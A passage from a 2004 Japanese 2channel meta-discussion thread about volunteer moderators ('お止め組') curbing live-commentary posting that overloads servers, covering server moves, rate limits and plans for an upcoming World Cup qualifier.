なんか「お止め組の是非を問う」みたいな話にもって行こうとしてる人(達？)が居るのはよく判ったんですけどｗ
勿論、最終目標にたどり着くための再編やら方針変更やらは、これから話し合われる事だと思いますが。
丁寧な解説、ありがとうございました。
そろそろ名無しに戻ります。 とりあえずプロ野球板の自治問題は
★☆（よろず相談受付）プロ野球板自治スレ20☆★
http://ex7.2ch.net/test/read.cgi/base/1096696361/l50
で話すべきなんじゃないか？？
板内での自治ではおさまらなくなった
→運用情報板という(当該板ではない)外部板でスレが立つほどの問題になった(プロ野球板だけではないが)
→ex8鯖送り(鯖故障が原因だったかも)
→ex7鯖送り
って経緯だったはず。俺の気が確かなら。
自治スレである程度コンセンサスが得られた意見をここに持ってくるならまだわかるんだが。 >>661
止めるものと止めないものがあるから混乱している
全部止めればその点では完全に解決する
止めるべき実況と止めるべきでない実況を分けるというなら、止めるべきではない実況の定義をはっきりさせなければいかん
それが面倒であるから、全部止めるのが手っ取り早い >>663
それで実況が本当に無くなるん？
無くなるんなら、有用な提案だと思うけど
まぁお止め組効果もあって結構住民も考えている訳だが、
基地外だけはどうしようもない。
言う事聞くわけ無いしな。あいつら、憎悪で動くから。
そもそもお止め組・削除人を巨人ファン扱いして馬鹿にする住民がいる時点で、
視聴率スレは終わってる。
だが、視聴率スレは削除されない・・・
そして、今一番スレ消費が速いのが視聴率スレ・・・orz
>>664
無くなることはないだろうな
こう言っちゃなんだが、なくす方法はない
実況を続けて鯖があぼーんしたって平気な奴が実況してるんだから
>>666
それは視聴率スレだけではない
住人の多くがそうだと考えられる
というのも、前に板ごと飛ばしたことがあったが、そのときの野球ｃｈで、
FOXが巨人ファンだからだのなんだのという意見がちらほらみられたからだ
本気かどうかは知らないがね 682 名前：名無しの格闘家[sage] 投稿日：04/10/01(金) 00:10:07 ID:DJyhYiH1
格板革命軍を作ろうぜ！
板違いは荒らして埋め落とす
実況は俺達が認定
逆らうものはアク禁決定！！！！！！！！！！！！
711 名前：名無しの格闘家[] 投稿日：04/10/01(金) 23:28:27 ID:DJyhYiH1
板がなくなったら八百長糞塗れ板ことプ板を乗っ取ればいいんだよ馬鹿、そんくらい考えろ
750 名前：名無しの格闘家[] 投稿日：04/10/03(日) 03:45:18 ID:MXbEy01j
２ちゃんの糞運営に逆らおうぜ
俺たちの格板は俺たちで守るんだ！
立ち上がれ！格板革命軍！！！！！
抽出ID:5t7W05MS (10回)
http://ex8.2ch.net/test/read.cgi/k1/1096613829/230,233.235.236.237.240.241.242.243
抽出ID:7tjRWZsz (6回)
http://ex8.2ch.net/test/read.cgi/k1/1096613829/247,249,256,257,258,259
抽出ID:rY1bjaIw (7回)
http://ex8.2ch.net/test/read.cgi/k1/1096613829/22 223 225,265,269273,279
抽出ID:55vExs+Q (18回)
http://ex8.2ch.net/test/read.cgi/k1/1096613829/263,266,267,270,271,272,274,276,280,282,285,286,287,288,290,291,293,299
抽出ID:pcGp4l7i (29回)
http://ex8.2ch.net/test/read.cgi/k1/1096613829/301,302,305,307,310,311,312,317,318,321,322,334,336,340,342,346,348,349,352,355,359,360,367,373,375,378,403,408,412
抽出ID:vWIxrZdR (5回)
http://ex8.2ch.net/test/read.cgi/k1/1096613829/429,430,432,433,434
↑自治と称してこのような連投コピペ荒らしを行ってます
こういう連中がいる限りずっとex8でとじこめておくべきだと思います ここは何のスレですか？
そろそろ正常化してほしいんですけど。
このスレって
● 手段や方法を話し合ったり、実際に実験するスレッドです。
● 実況の定義論争はしません。
● 実況の是非も話し合いません。
● (中略)
● 瓢箪から駒を目指しています、今までの方法は提案しないでください。
だったんだよねぇ。
方向性が変わりつつあるような。
>>445
> ex7 は実況したって 「ふーん」だし 話を戻すと>>108あたりからですかね?
108：ヾ（ﾟﾊﾟ）ﾉ ◆f0.zuburi6 [sage] 04/10/01 12:37:56 j9tIQPyG
止める条件とか ざっくりと餡をかいてみたりー。
○リアルタイムの事象を書き込んでいると見られるものがあったとき
・1レスていどならば誘導→継続の確認で停止
・複数レスが同時につくようなら即停止
・以前にも停止した履歴が確認できた場合,1レスでも即停止
・お止め組を煽るような書き込みがあったら止めちゃってもいいんじゃないでしょーかー
対象は漏れからみてまだハッキリしないのでノーコメント
だけど対象板に関連する内容でTVを含めてリアルタイムで観戦している状態(と思われる)
書き込みだろうねえ。
これに対してのレス(関係ないものも混ざってるかも)
>>109-111
>>113-134
>>137-138 実況してる奴をアクセス禁止にすれば其れで解決じゃないの。
本格的にやってる廃人は１００人もいないでしょ。
大量悪禁でＯＫ。
アク禁で実況がなくなっても
それは実況を根絶したことにはならんよ
>>7
> 実現が難しいのでアイデアや工夫が欲しい案
>
> ・実況者のピンポイントアクセス規制 「実現が難しい」ってのはウソだな。
「1時間だけピンポイント規制」がSamba24ですでに実現されてるし。
つまり投稿内容に関係無くSambaエラーを連発した者は規制しろと
どこが実況根絶じゃ
また棒犯装置ネタですか、、、
本当にそれがいいんですか？
>>640
問題なのは、実況をしている人間の多くが荒らし目的、あるいは野球板
を普段使用しないが故に事情を理解していない人々であることだろう。
悪意を持った人間も利用者ではあるのだが、そういう人間の
行状によって一般的な善意の利用者に負担をかけるのはどうなんだ。
今回の鯖移転はそのことを考えた末の結論なのか。はっきりいって
納得いかない。
まずは悪意の利用者の代表的な人間をアクセス禁止にすべきだと思うが、
そういうあらゆる手段を執った上でなければこういう措置は多くの人間に
とって不満を残すし、今後の鯖管理にも悪影響を残しはしないのか。 規制で実況根絶しようとしてるなら
それはアホとしか言いようのないことだ。
ここでいつまでも回ってればいいさ。
>>683
人が入れ替わり立ち替わりする中で根絶は難しいかと。。。
最高の次善策を考えるしかないのでは。其れを考えると、
常習犯の締め出しがもっとも効果的だと思うのだがな。
もちろん、その他の対策も必要だが。 常習犯を締め出したところで
根本的な変化がなければ
また同じことの繰り返し。
今競馬板で番組中なのにG1の実況がおこなわれています
早くとめてください
ハングル板は実況ばかりして迷惑なんです。
なんとかなりませんか？
僕は、“〜べき”って使いどころがむつかしいと思いました。
>>700
それでも良いかも。
真面目な話しは極東があるんだし
最近のハン板は運営避難してるくせに
ハン板に執着してんだよな
ハングルVIP見たいになれば少しは反省するんだろう。 ex7は好き勝手やっていいってFOXが断言してるんだからそんなに騒ぐことじゃないとおもう
>>696
そりゃいいんだけど、せめて野球板が入ってきて
変わっちゃった名無しデフォ元に戻してよ。 >>703
現在、ハングル板自治は実況根絶に向けがんばっています。
またハン板は運営避難をしていません。
いいかげんなことを書かないでください。
>>699 >>703
ハン板については、現時点で一番実況の問題になりがちな
TVスレは、自治からの指示が実況は自粛されています
255スレは立ちましたが、継続の256スレを建てず打ち止めの方向で
自治スレ内の結論がまとまっています。
もうすこし子細に見て頂けませんか？ >>711
自治スレ見ると運営非難したり削除人非難してるレスが目立つよ 所謂住民の方々は。
冷静に 実況禁止の説明,誘導を。
煽るような発言に反応しない事。その周知徹底。→荒らしのみが浮かび上がる→荒らし報告へ
そして最も大事なのが,
「負けない事投げ出さない事逃げ出さない事信じぬく事」
なんじゃまいかー
ダメにーな〜り〜そうな〜とーきー それがー一番大事ー♪
でもベストは「楽しむ事」。おばかさんには「あらあら,かわいそうに」の精神でー
ハングル板の方もお引取りください。
ハングル板のかたは >>717 さんを早く連れて行ってください。 ニュー速はどうすんの？
またまた野球の実況してるみたいだけど
>>720
>>720
「リアルタイム」についてはもう少し規定を明確化したほうがよいと思います。
例えば
相撲の取り組み結果(前スレ609)
などは「リアルタイム」からはずしたほうがよいかと
♯もめる元は極力排除しとかないとまたこのスレみたいなことの繰り返しになるし。 ニュース速報→制裁加えるべき
ニュー速VIP→放っておけば廃れるので放置
つーかVIPerお行儀いいね。実況スレたっても1レス毎分1分未満とかだしｗ
毎分1レス未満だた。しかもなぜか運用板だた。。。
寝起きはつらいのう
つーかニュー速見てきたけど全然実況になってないじゃん
おまえら目開けて見てこいよ
実況チクリはまず各板の自治スレへ
自治スレで解決できなかった場合はここへ
とか
>>723
それと似たような事象でサッカーや野球で途中交代した選手を
該当する選手スレで論評していた場合はどうなのさ?
みたいなこともあるわけで
相撲は取り組み時間が短い上に一番づつがサッカーや野球で
いうと、別の試合みたいなものと認識しています
私的には、全ての放送時間を通して、取り組みが終了したもの
を実況とすることはできない、とは思ってますが、勝った力士の
スレで ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!!! が連発してたらどうなのか?
要は書き込みの内容だったりするわけで、それを組員がどう受
け取るか、ってことだと思います
それでは一向に話が進まないから、>>108ってことかと
いいえ、、
実況報告は実況報告スレにお願い致します、、
>>729
その書き込みには感覚のブレがあると思います。
実況報告スレに報告してる暇があったら
自治スレで問題にしたほうが良い。
自治スレで解決できなかった場合のみ、ですんで
お止め組について分からないことだらけだ！
という自治スレの人たちのための２行目ということで
どうかひとつよろしくです。
んー、自治でどうにもできないから、
「なんとかしてください」って持ってくるんですよね。
なんとかできるんなら、根絶する為にはどうしようかって、
現在進行形で話し合ったりしてないと思うんですが…
>>736
念のため確認。
自治スレを通さず、この板に書き込んだ場合は（実況報告スレも含めて）
当然放置でいいんですね。 >>737
きっかけがあって
それでもどうにもならなかったなら
その板は諦めるしかないですね。
>>738
あなたがそうしたいなら
そうすればいいではないですか。 >>739んで
んーあなたの主張はさっぱり？？
なにか対策案でもあるのでしょうか
>>730
基本思想が「exから出たい、exには行きたくない板の手助け」としてのみの活動
であれば実験してもいいのかなとは思います。
だら〜っとした長時間、雑談ぽい実況には十分でしょう。
しかし、わっときた時に少量の実況レスで食い止めることは報告制だと不可能では？ >>743
それですね
問題は
>>720の最後3行は自治レベルの向上という意味もあるのですが、
その反面、こちらも万全の体制で臨めるとは限らない、それで鯖
落ちした場合や無法地帯になった場合はどうなのかってことにも
なります
その部分を利用者にも納得してもらえる形で提案できれば、実験
の価値はあるかと思ってます テンプレも 少し上も見ずに 実況報告
昨日もあった 今日もされた
>>748
実況はまだ始まっていないので報告ではありません >>749
始まっても無い実況をどう取り締まれと？
そもそもここは実況報告スレではないし。 こんな所に晒す暇があるなら実況板にでも誘導してください
>>752
誘導してます。
実況が始まったら報告スレッドに報告する方向で。 ニュー速のスレをここに晒してどうするんだか・・・
お止め組の管轄外だろ
>>747
ちょっと落ち着いたほうがいいですよ。
誘導だけが自治ではないし、ｽﾚ違いも甚だしいです。
>>743,746
わっと来た時の判断はお止め組さんの真骨頂を見せてあげてー
と書くだけなら簡単なんすよね…
時間不定で何がしかの発表が予想される→対象板の巡回,張り込み
なんの事前情報も無く突然→勘とふいんきでやれるだけやってみよう
その為にと言うか,普段からの活動による抑制と自治の育成への期待。
今はこれを地道に続けるしかないですかねー まぁ野球という競技は時間的にも長いですし、実況を止めるのは難しいかと。
野球愛好者さんたちはご愁傷様ですが・・・
ここに実況してるスレ貼る奴って
ここまでくると確信犯にしか思えない
つまり荒らし
ここは報告スレじゃないと何度言ったらわかるのかね？
ハングル板は自治スレで相談して
実況してるスレに誘導してるが効果ないよ。
一応、実況報告スレには何度も報告してるけど
>>768
道徳的宗教的はともかく
政治的って言うと正しい気もするわ >>743
> 基本思想が「exから出たい、exには行きたくない板の手助け」としてのみの活動
>>135
>>323
を見るとお止め組。にそのような思想はないように思うのですが。
「exから出たい、exには行きたくない板の手助け」
という基本思想で今後運用されていくのですか？
コンセントささってますか？
それならそれでご相談したいとも思うのですが、
>>323を考えると、お止め組。に対応をお願いする事は
ex脱出に繋がらないし、板の立場をさらに悪くするとしか思えないのです。
今は>>715風に自治でがんばっています。
ここにも書いておきます。
549 名前：動け動けウゴウゴ２ちゃんねる[] 投稿日：04/10/04 00:10:52 ID:QHAD0EJr<
実況ホイホイ
【板】同じ対象について実況板を持つ非実況板(野球ch板に対してのプロ野球板など)
【機能】
1 実況板に実況ゲートウェイ的スレをもうける
2 1のスレを非実況板に仮想的に存在させる(IEでいえば>>1と最新10レスが表示され、数十秒おきに実況板の書き込みが反映される)
3 2のスレに書き込むと実況板に移動してしまう
【理由】
同じ対象について実況板を持つ非実況板で実況が起こるのは、普段非実況板にいる者が実況板に移動するのが面倒だから。
実況をするために移動するのではなく、非実況板で実況してるうちに実況板に移動する状況を作ればよい。
そこで対象を同じくする実況板へ速やかに移動させるべく、実況ホイホイを作れば結果的に非実況板の負担が減るのではないかと考えた。
【需要】 実況を何とかしたいと運営は思ってるような気がする。
【補足】 NHKモーニング娘競馬サッカー野球格闘技などで実効性がある。 >>771
> 普段非実況板にいる者が実況板に移動するのが面倒だから。
ここがこのスレ的にものすごくNG
実況は良くないから面倒でも移動するという意識をもってもらうのが目的の一つです
無意識のうちに移動が済んでしまうようではお話になりません
そんなことをするぐらいなら非実況の板を実況の板に統合するでしょうね >>770
>>743は「であれば」の仮定にすぎませんが。
路線変更の宣言がない現在、個人としては状況が変わるまで
誘導は自治で、淡々と止め、その際に住人感情は考慮しない。でやっております。
そのように活動されることは全く構いませんが、
ex8にあるのは既に一線を超えた経験のある板ということを忘れずに。 ｴｯ(ﾟдﾟ≡ﾟдﾟ)ｴｯ
前スレの815、823（このスレの>>9にコピペされてる）は
路線変更をあらわしてるんじゃないの？
まぁいづみ ★さんが言ってないから〜〜とか言われたらそれまでな気もしますが 話変えちゃうけど、
>>773
> 路線変更の宣言がない現在、
この路線変更ってのはたぶん今議論されようとしているような感じの
「ぶれ」とかに関わる話だと思うんだけど、
「路線変更の宣言」する人って、誰なんだろう？
> 個人としては・・・（略）・・・でやっております。
個人として自分の考えだけで動く、ってことはいいことなのかしらん？
今どうすべきか、とかってのを相談だったり議論だったりというのは
しなくてもいいのかしらん？
たまたまれんげさんが言葉にしてくれたかられんげさん宛っぽく書いたけど、
必ずしもれんげさんだけの話ではないように考えておりまする 瓢箪から駒だからなぁ
ｶﾅｰﾘ様子見してると思われ。
止められるまで突っ走れー
>>773
> >>743は「であれば」の仮定にすぎませんが。
失礼しました。願望まじりで読み飛ばした様です。
以下了解しました。
ex8鯖の住人ではありませんが、肝に銘じておきます。 ＞ さて、、、
＞ という段階にあるということを知ってください。
これがーいちばんだいじー
>>775
変更宣言はあってもどの路線へ？ははっきりとは決まっていないところかと。
それは片っ端から止めまくりな路線ではないでしょうし、
私も少しずつでもその方向に進んでいるつもりではあります。
>>776
もちろん意図的ではありませんが、行き過ぎた行動は必ずここに出てきます。
ぶれはそうやって出てこないとわからないものでしょう。
議論の末に出た結論であれば誰の宣言でも…。 >>780
まぁそうっすね、、
最近はだいたいいい感じのような気もしますです。
まぁ、議論ってのは、れんげさんはそれなりに場数を踏んでるので
そういう経験が議論にけっこう役立つんじゃないかなーとか思ってたので
ほんとはもうちと議論に参加してくれるとうれしいですけど、
これは強制するようなもんでもないですし、まぁそれなりにー。 FOX★さんとかいづみ★さんとかが止めない限りは
お止め組の人がこのスレでルールが決まったよ宣言をしてほしい。
>>782-783
URLだけで活動できるので、報告スレのようなテンプレは不要です。
こことはスレ趣旨が違うので連絡スレでお願いします。
個人的には放送時間/局があると諸々の確認がなくなって楽になります。 今までは急場しのぎでかつ実験でもあるということで、ビシビシ止めるを基本に
ブレを許容しつつ活動してきたと
しかしながらここらで今までの活動や議論を通して見えてきたものを反映して
今後の方針を決めてみましょうということではないかと
この数日でお止め組の正体みたいなものがかなり暴露されてますから、
今が話し合いに良い時期でもあるでしょう
議論終了宣言と結果発表はいづみ ★さんに一任でよろしいんじゃないでしょうか？
正式ルールが決定したかどうかははっきりわかるほうが良いと思います
ご本人が見てるとは思いますが、このスレとしての案がまとまったら提出ということで
提出宣言は組員さんの方にお願いするということで
議論終了宣言がどうのこうのいう時点でお止め組解散だな
◆NATTOSpTC2 は 「お止め組み解散」 という発言ばっかりだね。
とりあえず死んでくれ
ID出ない板で荒らされまくり
俺はこんなプロ野球板にするために●買ったんじゃない
裏切られた
進行がゆっくりしたスレも落ちまくってるし、
もういいよ、死んでくれ
>789-791
ここで苦情を書いたら逆効果ですよ。
一緒に野球板へ帰りましょう。
俺もお止め組は解散したほうがいいと思うな。
成長も全然見られないし、隔たった考えの人が多い事も事実だし
おとめぐみUzeeeeeeeeeeeeeee
実況してねーのに止めんじゃねぇよ禿
>>795
止められたスレッドのアドレス出してちょ 生殺しにするならいっそ殺してくださいな。
板止めるなりrm *やるなり。
ID変えまくり厨に実況されるとID追跡できないから報告しにくいんだよな。
逆にID粘着してる変態が普通のレスなのに"実況"って報告して来た例が
モースポにあって★FOXが内容確認しないでIP公開しちゃったらしいし(笑
ID変えまくりを防ぐアルゴリズムとかって無いかね。
ドメインもID精製に利用するとかさ。ID変えないで生きてる真っ当な
ユーザが馬鹿みてID変えながら実況してるやつが得してるのは理不尽だなって。
>>799
696 名前：FOX ★[] 投稿日：04/10/03(日) 15:54:24 ID:???
>>695
ex7 のやつはこの板出入り禁止です>>799
>>801
がんがれ！
きっとなんとかなるですよ！ まだやってるんですか
ここは何のスレですか？いい加減にしましょうよ。
昨日の行列のできる(ryでやってたけど、
校則を厳しくしても、訴えて勝てる確率は30%だと。
その校則にちゃんとした合理性があればね。
ルールが厳しくなったら、別のところに移動するか、
自分で掲示板借りるかサーバ立てるなりして
ご自由にやったほうがいいですよ。
モマエラ、ものすごーく基本的なこと聞いていいですか？
FOX ★って、鯖廃止とか決められるすごく偉い（権力者）やつなの？
今まで2chやってて運営がどうのとか気にしたことなかったからな…
久しぶりに2chきたら実況がやたら厳しくなってて（理由としてここが誘導にあった）、
ポカーンって感じなんだが…
ここの住人が煽るなよ。
故意実況報告といい、なんで放置できないんだ？
>>808
このままお答えしないと野球住民の方に迷惑かかりそうですので一言だけ。
「違います」 実況注意しても削除人叩きするからなハン板の電波は
995 名前：三重県津市３２歳 ◆KIMekeFjww
>>984
（ｸｽﾞ）かいおー氏の言い分を借りれば「実況である以上規制されるべき」でしょう。
まあ、指摘あっての削除活動なワケなので（ｒｙ
>>810
サッカー板からの工作員ですか。そうですか。 荒らしっぽいカキコには反応しない。
これ鉄則よ、テストにでるよ〜
サーバーの過負荷は、実況云々よりも、インターネット人口の増加とブロードバンドの普及が
原因のように推測されるのだが、どうなの？
アクセス数を誇り、関係の書籍を出版しまくる現状をどう考える？
>>815
1時間かけて50のサーバーに合計100000のカキコがあるのと
1分で1つのサーバーに1000のカキコがあるのと
どっちがサーバーを飛ばしたり消耗させるのか、ということ。
>>815
だからこそ、負荷をかける実況がだめじゃないのか？ >>818
じゃあ何ですか?
FOXの発言ですか? 本来の使われ方で負担がかかるのは仕方ない
という意味ではないかと。
掲示板は本来議論をしたり、情報をやり取りしたりする所であって、
反射的に見たことを書き込む場所ではないということだと思うが。
反射的にｷﾀ━━(ﾟ∀ﾟ)━━!なんてやってるのとは
全然違うだろ
>>823
だから「来た」からそう書いたんだろ。
愚かなことだが、それが２ちゃんの文化なんだから仕方ない。 >>824
それが管理人の意向に反するんだから、止められても仕方ないと思うが >>825
その管理人って誰？おとめ組のこと？
少なくとも「ｷﾀ━━(ﾟ∀ﾟ)━━!」を始めとする２ちゃん用語を”売り”にして
多くの２ちゃん関係書籍が出版され、それがある程度運営費をまかなっているの
は事実。 >>管理人って誰？
足しげく裁判所に通うエロいお兄さん
回転というより、空転の方がしっくり来るな〜
ここは「実況を『根絶』する方法の考察・実験」について話し合うスレです。
実況の報告や、実況の定義を話し合いたい方はふさわしいスレへ〜
で、どこまで戻せば良いのやら。
>>787
乙女組解散コンサート実況 → 新ユニット結成
確かに今の形で続ける必然性はないよな〜 正直、ここでうだうだ話し合ってるよりも
板の自治に潜入してお手伝いした方が
何倍も効果があったりするかもねー
お止め組は、実況根絶のきっかけにはなっても
実況を直接的に根絶する方法にはなってないし、
お止め組のきっかけを利用するのは
他ならぬ板住人の人たちだから。
＞確かに今の形で続ける必然性はないよな〜
是非聞きたいのですが
具体的にどの辺が？
まずは
>>8-9 を話し合っていかないことには
お止め組が次へ進めませんね。
そろそろ正常化しましょうよ。
取り敢えず困ってるから言い出しっぺします
CS放映の実況を見回れる組員が少ないのですー
リアルタイムチェックできないけどこれは実況では？というスレがあるんですわ。 >>836さん
妹ﾊｧﾊｧ・・・ではなくて
新規加入者を募集しても、
何を規準に動けばいいのかがわからない限り
何をすればいいのか彼女らも困ると想いますよ。
現状の過去ログを読めば混乱するだけだし >>834
だって、おじちゃんが勢いで作った組織だしｗ
てのは冗談ですが、より良い活動を続けていくには、まだまだ話し合いが必要なように思えます。
＃お止め組の活動範囲とか、活動指針とか、個別案件の「お達し」じゃなく
その話の流れの中には、「解散・再結成」という選択肢もあるのかな、と
あ、別に「解散しろ」と言いたいわけではないんです。
どちらかというと「解散｣しか言わない人たちへの当てこすりで。
お止め組の成果は重々承知してますが、もしも話し合いの結果で方針変更〜とかいうなら、
新組織(構成メンバーはお止め組からこっそりシフト)の方が、いろいろと都合が良かったりするのかな〜、とｗ >>833
誰かは明かせないし何処とも言えないけど、やってます。 スレタイもいつの間にか「秋」になってますしー
夏のアレやコレな出来事の果実をどうするか・・・な段階だと思いますです。
実験の数値データがなくても、
何かしらの纏めもせずにハイ終わり、はさすがにまずいんじゃないのかな。
ハングル板は実況止めないけど
運営サイドは放置ですか？
ある程度規制とか処分した方が良いと思うけど。。。
スレ違いだったらごめんね
>>841さん
お止め組導入希望というならスレ違いではないと思います。
組長が行けといえばどこへでも・・・（ex7の板だけはやっぱり行きたくないけど） >>841
あの、ハン板の自治スレを少しは読まれました？
該当するTVスレは既に900で次スレを立てない
というのが自治スレ決議で既に決定されています。
ハン板は幸か不幸か、スレ立て可能なプロバイダが少ないので
スレ立て依頼却下というのは大きいし、立ったとしても次スレは
すぐにスレ削除申請に回る予定です。 >>838
なるほどねぇ、(苦笑
若干、>>837のやどかりさんの意見とリンクしてる感じですかね?
まぁ、新組織ということもあって謂れの無い事まで突付かれ
たりするのも事実ですが、ここ最近の動き（主に各板の自治
関連スレ）を見てると、プロ野球板の移転が反面教師となって
活発な意見が交わされているようです
逆にそれがきっかけで自治が活性化されるというのは、今ま
でのお止め組の活動ってなんなの?って同時に思ったりもし
てたり・・・
そんなこんなを踏まえながら、改善案を考える今日この頃 なんか実況関連の各板自治出張所みたいになってきたな。
新組織が新撰組に見えた。
ガイドライン不覚悟、切腹よ
実況１レス、切腹よ
>>846
まあ、どこの自治スレでも注目しているとは思われ というか……隔離鯖であるexの中にもランクがあるんだね。
知らなかったよ……。
>>719
> ハングル板の方もお引取りください。
>>798
そもそもIDなんでどうやって変えるのさー 結局自治スレのやつが実況を許容しないから止められるんだよな
お止め組さんたちの思う「実況を厳しく取り締まりスレストをかける」ことの（悪い）副作用って何かしら
>>855
・愉快犯の故意実況を生むこと
・自治の難度上昇、弱体化
>>855
ちんけな表現だけど、”モラルハザード”かな。
お止め組の一部が不条理なスレストをかけることで、それに対立している”実況”
に合理性を持たせてしまった。 >>859
実況が行われていたのは、
>>782->>784でも既出で連絡スレと実況報告スレに前回
報告されたものと全く同じシリーズなんですけどね。
BSやCSが手元にない以上は確認できないので仕方がないですね。
>>860
連絡スレでは放送時間と放送局の案内ありますよ。
でも、CS/BS所持者をお止め組に加えないと無理ですね。
批判要望板の実況の質問議論スレが落ちているようですが。。。
実況質問スレって議論もしてたからスレストされたんですよね？
実況質問だけならここでも大丈夫ですよね、きっと
>>1
の文面からだと、質問もダメなのかなーという気もしたりしなかったりで
下手に質問しちゃうと出身板が懲罰鯖に飛ばされちゃったりしそうでﾋﾞｸﾋﾞｸ あ、ここでってのはこの板でってことです。
実況質問スレをこの板に立てませんか？っつーことで
＞ﾋﾞｸﾋﾞｸ
これはやはり
懲罰鯖送りをポンポンやってきた弊害なのかな
あは〜ん♥
>>865
あ、、この板でってことだったんですね。。読み違えてました
え〜と、ここってスレ建てたらｉｐ丸見えでしたっけ？
建てた瞬間アクセス規制されちゃったりしてｗ
まあ冗談ですよ、、冗談＿|￣|○ >>865
というのも、実況の判断がグレーというかこれは実況なんだろうか
と判断つかなかったり、実況を誘発しようとしてるレスなんかが
あるときに、どう効果的に実況板に誘導したりすればいいのかな、と
おとめ組みの１スレから覗いていても、こればかりはほんと分からないんです
アドバイスなんかが有れば嬉しいな、、とも思ったり どう効果的に実況板に誘導したりすればいいのか、ってのは
このスレでやることだから、おいといて
実況なのかどうなのか、分からないことって結構ありますね。
そういうのはここでやるのは>>1を見る限りではよろしくないと思うので
別のスレを立てたほうがいいですよね？
こういうことって
各板の自治スレでやれば良いとは思いますが
第三者的な視点もあったほうがいいのかなぁ？と
とりあえず立てちゃいますかー おとめ組みの行動原理は、初期の頃は
・誤爆止む無し
・結果的に実況止まればＯＫ
だったと認識しているんですが、このスレ入ってから色々迷走してそうで
今はどうなのかな、、とも
実況板に誘導するとしても、それ自体に効果はどこまであるのかってのは
結構疑問なんですよね。運営側の人間ではないので、そのまま実況されても
実際問題、指を加えて見てるだけですよね？
実況報告スレとか有りますが、スレストとか出来る訳ではないですし
特に故意実況される場合とか
で、これ実況なのか曖昧なときとか実況誘発してるのかな？とも思えるときとか
なんだか混乱してきたので寝ます
あーーて書いているうちにレスが。。
>>868
はい、おながいします
って連投規制＿|￣|○ >>871
あちらにも書きましたがありがとうございますー。
って４回転目だったのか＿|￣|○ 16 名前： ◆NATTOSpTC2 [sage] 投稿日： 04/10/07 23:04:23 ID:+98tlGj4
>>12
誘導の割合について言ったのは
誘導ばっかしてるのも実況してるのとあんま変わらないんで
できるだけ誘導は抑えましょう、ということです。
50レスに一回っていうのは
最新50レスも読まない人が実況をやめるわけないけど
なんにも誘導がないってのも…ということで
言ってみました。
お止め組は、実況から50レス以内は止めない方が良いとか
そういうことを言ったわけではないです。
>>14
テンプレ読め 台風怖かった。ニュース実況+に貼りついてましたが、
騒ぎはあったのでしょうか？
明日は
モータースポーツ板は朝から要注意だと思います。
>>877
朝から張り付きますからご心配なく。
私が関西在住なので地上波は放送時間が違ってて見れませんが。 ex8ってSamba90秒なんだ･･･
明日だけ連投規制値とか全部きつめにするのも手かも
お止め組は対象外です
以下のスレに報告してください
お止め組は対象外です
以下のスレに報告してください
>>888
次から1に書いておくと良いと思うよ。
明確に禁止と書いてないから。
お止め組のスレの方にも、ここで受け付けすると明記すれば
減ると思うよ。
この今年最大級の試合の実況はどうやって止めましょうか？
『ワールドカップドイツ大会 アジア一次予選 オマーン×日本』
＜10月13日（水）夜11時15分より深夜1時30分放送＞
オマーン・マスカットのスルタンカブース・スタジアムで行われる、
2006FIFAワールドカップドイツ大会アジア地区第1次予選
日本代表対オマーン代表の模様を10月13日（水）夜11時15分より
生中継でお送りする。
http://www.fujitv.co.jp/index.html >>891さん
止めるということより、どうやって実況専用板へ実況者を上手く流していけるかということだと思います。
規模が大きくなるならば落ちるサーバーがある程度予測でき、
またその数が少ないほうがベターとしがいえませんです。
それとも今回に限って以前のお止め組基準の１res即涼実発動を要請しているのでしょうか？
発言の意図が良くわかりませんので
どうしたら良いと思われているのか具体的な方策を考えられているなら提案してくださいませ。 >>892
ex8は幸い人大杉状態ですので、他に方法があればお願いします。
今回はあまりに規模が大きいので。
自治関連だと、 掲示板の上の案内に、
・実況板のリンクを大きくはる
・実況禁止を簡潔に書く
・その日の実況スレの案内所を作る
×実況板の実況スレの案内スクリプトを貼る
×掲示板に924?の案内スレッドを置く
ローカルルール関連
×実況になりやすいスレッドを制限する
×試合や対戦チームごとのスレッドを制限する
当日の対策
・実況板のスレッドの誘導を、あらかじめ貼る
・実況しているスレッドにも、時々更新した実況板のスレッドを貼る
・実況が予想される前日や少し前にスレッドをあまり作らない
・実況中には、スレッドが1000まで行ってもあえて次のスレを作らない
・実況中には、それ関連のスレッドを立てない
・実況している書き込みに、レスをつけたりコメントしない
掲示板の設定の関連だと、
・samba規制(強化して、個人の実況をやりにくくする）
・連続投稿規制(ある程度のほどほどの基準にする）
・強制ID&名無し強制入力(実況者の特定用)
削除や規制関連だと
・実況報告スレや実況予測スレと連動して、おとめ組がスレッドを停める
×とも子や涼美などのスクリプトで高速スレッドを停める 一次予選突破がかかった試合ということで今回は得失点差も重要ってことですね。
来年、二次予選になったらもっと大規模になるのか？
という不確定要素はあとまわしで(汗；
すでに直前になってますので急に出来ることは限られているかも。
掲示板設定関連はお止め組組員はなんともできないです。
組長経由でおにーさまが動いてくださる場合だけかなあ・・・
どうも今はそれどころではないらしいのですが・・・
これに付け加えて効果的だと思われたものを今まで見かけた実況対策からいくつか加えると
・視聴していない人が「今どうなってるの？」という実況を誘う書き込みに対して答えなくてもすむように
携帯用・PC用の経過・結果速報サイトのURLを探して実況案内所にも貼っておく。
・実況のスレッドがかなり速いと「速すぎる」という理由で戻ってくる方もいます。
マターリスレを実況板に立てて使い分けてもらう。
また、実況スレが次に移った場合移動案内をこまめに出す。
（平日は特に途中からの人が多くなるのでやったほうが良いようです）
・実況系は垣根を越えて使用していいとのことですので
鯖落ち対策避難所なりマターリスレをメインで実況する鯖以外に立てて分散を図ってみる。
・これが一番難しいのですが、スレの内容によっては
実況スレでも誘導先を変えた方がいい場合があります。
どんな趣旨かわかりにくく長い誘導テンプレをコピペで貼りまくるよりは、
「このスレッドの住人は試合中ここに移動してるよ〜」みたいなきめ細やかさがあるほうが
実況誘導は成功しやすいです。
これは板の自治というよりスレの自治としてやってくださる人がいた場合とても助かります。
（お止め組対象鯖でない場合などもこれが最も効果的）
その他
・前日から実況板に専用スレを立てているなら前日から実況板案内所がある（機能している）ことを知ってもらう
・番組開始直前に実況板の案内をする（いわゆる事前誘導）。
この試合、たぶんお止め組は活動します。
ただ、今回はお止め組に上記のような誘導はあまり期待しないで下さい。
んーこっち向けの話題だったかな？とりあえずこんな感じです。
実況に関する質問スレッド★４回転目
http://qb5.2ch.net/test/read.cgi/operate/1097088901/ FOXさん
この指示はまた有効でしょうか？
827 ：FOX ★ ：04/09/18 05:29:12 ID:???
削除人さんへ
【いわゆる実況について 2004/9/18】
実況を理由にスレッドの削除やスレッドの停止、移転等々は基本的に
